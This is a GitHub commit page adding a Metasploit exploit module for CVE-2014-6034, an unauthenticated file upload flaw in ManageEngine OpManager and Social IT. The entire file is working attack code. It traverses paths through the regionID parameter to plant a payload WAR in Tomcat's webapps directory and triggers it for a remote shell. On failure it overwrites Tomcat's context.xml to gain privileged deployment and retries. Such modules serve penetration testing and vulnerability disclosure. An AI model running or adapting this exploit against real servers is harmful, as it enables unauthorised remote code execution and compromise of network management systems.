Skip to content

Commit 8f3e03d

Browse files
committed
Land rapid7#3903 - ManageEngine OpManager / Social IT Arbitrary File Upload
2 parents ffe5aaf + 533b807 commit 8f3e03d

File tree

1 file changed

+154
-0
lines changed

1 file changed

+154
-0
lines changed
Lines changed: 154 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,154 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::FileDropper
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'ManageEngine OpManager / Social IT Arbitrary File Upload',
17+
'Description' => %q{
18+
This module exploits a file upload vulnerability in ManageEngine OpManager and Social IT.
19+
The vulnerability exists in the FileCollector servlet which accepts unauthenticated
20+
file uploads. This module has been tested successfully on OpManager v8.8 - v11.3 and on
21+
version 11.0 of SocialIT for Windows and Linux.
22+
},
23+
'Author' =>
24+
[
25+
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
26+
],
27+
'License' => MSF_LICENSE,
28+
'References' =>
29+
[
30+
[ 'CVE', '2014-6034' ],
31+
[ 'OSVDB', '112276' ],
32+
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_opmanager_socialit_it360.txt' ],
33+
[ 'URL', 'http://seclists.org/fulldisclosure/2014/Sep/110' ]
34+
],
35+
'Privileged' => true,
36+
'Platform' => 'java',
37+
'Arch' => ARCH_JAVA,
38+
'Targets' =>
39+
[
40+
[ 'OpManager v8.8 - v11.3 / Social IT Plus 11.0 Java Universal', { } ]
41+
],
42+
'DefaultTarget' => 0,
43+
'DisclosureDate' => 'Sep 27 2014'))
44+
45+
register_options(
46+
[
47+
Opt::RPORT(80),
48+
OptInt.new('SLEEP',
49+
[true, 'Seconds to sleep while we wait for WAR deployment', 15]),
50+
], self.class)
51+
end
52+
53+
def check
54+
res = send_request_cgi({
55+
'uri' => normalize_uri("/servlet/com.me.opmanager.extranet.remote.communication.fw.fe.FileCollector"),
56+
'method' => 'GET'
57+
})
58+
59+
# A GET request on this servlet returns "405 Method not allowed"
60+
if res and res.code == 405
61+
return Exploit::CheckCode::Detected
62+
end
63+
64+
return Exploit::CheckCode::Safe
65+
end
66+
67+
68+
def upload_war_and_exec(try_again, app_base)
69+
tomcat_path = '../../../tomcat/'
70+
servlet_path = '/servlet/com.me.opmanager.extranet.remote.communication.fw.fe.FileCollector'
71+
72+
if try_again
73+
# We failed to obtain a shell. Either the target is not vulnerable or the Tomcat configuration
74+
# does not allow us to deploy WARs. Fix that by uploading a new context.xml file.
75+
# The file we are uploading has the same content apart from privileged="false" and lots of XML comments.
76+
# After replacing the context.xml file let's upload the WAR again.
77+
print_status("#{peer} - Replacing Tomcat context file")
78+
send_request_cgi({
79+
'uri' => normalize_uri(servlet_path),
80+
'method' => 'POST',
81+
'data' => %q{<?xml version='1.0' encoding='utf-8'?><Context privileged="true"><WatchedResource>WEB-INF/web.xml</WatchedResource></Context>},
82+
'ctype' => 'application/xml',
83+
'vars_get' => {
84+
'regionID' => tomcat_path + "conf",
85+
'FILENAME' => "context.xml"
86+
}
87+
})
88+
else
89+
# We need to create the upload directories before our first attempt to upload the WAR.
90+
print_status("#{peer} - Creating upload directories")
91+
bogus_file = rand_text_alphanumeric(4 + rand(32 - 4))
92+
send_request_cgi({
93+
'uri' => normalize_uri(servlet_path),
94+
'method' => 'POST',
95+
'data' => rand_text_alphanumeric(4 + rand(32 - 4)),
96+
'ctype' => 'application/xml',
97+
'vars_get' => {
98+
'regionID' => "",
99+
'FILENAME' => bogus_file
100+
}
101+
})
102+
register_files_for_cleanup("state/archivedata/zip/" + bogus_file)
103+
end
104+
105+
war_payload = payload.encoded_war({ :app_name => app_base }).to_s
106+
107+
print_status("#{peer} - Uploading WAR file...")
108+
res = send_request_cgi({
109+
'uri' => normalize_uri(servlet_path),
110+
'method' => 'POST',
111+
'data' => war_payload,
112+
'ctype' => 'application/octet-stream',
113+
'vars_get' => {
114+
'regionID' => tomcat_path + "webapps",
115+
'FILENAME' => app_base + ".war"
116+
}
117+
})
118+
119+
# The server either returns a 500 error or a 200 OK when the upload is successful.
120+
if res and (res.code == 500 or res.code == 200)
121+
print_status("#{peer} - Upload appears to have been successful, waiting " + datastore['SLEEP'].to_s +
122+
" seconds for deployment")
123+
sleep(datastore['SLEEP'])
124+
else
125+
fail_with(Exploit::Failure::Unknown, "#{peer} - WAR upload failed")
126+
end
127+
128+
print_status("#{peer} - Executing payload, wait for session...")
129+
send_request_cgi({
130+
'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)),
131+
'method' => 'GET'
132+
})
133+
end
134+
135+
136+
def exploit
137+
app_base = rand_text_alphanumeric(4 + rand(32 - 4))
138+
139+
upload_war_and_exec(false, app_base)
140+
register_files_for_cleanup("tomcat/webapps/" + "#{app_base}.war")
141+
142+
sleep_counter = 0
143+
while not session_created?
144+
if sleep_counter == datastore['SLEEP']
145+
print_error("#{peer} - Failed to get a shell, let's try one more time")
146+
upload_war_and_exec(true, app_base)
147+
return
148+
end
149+
150+
sleep(1)
151+
sleep_counter += 1
152+
end
153+
end
154+
end

0 commit comments

Comments
 (0)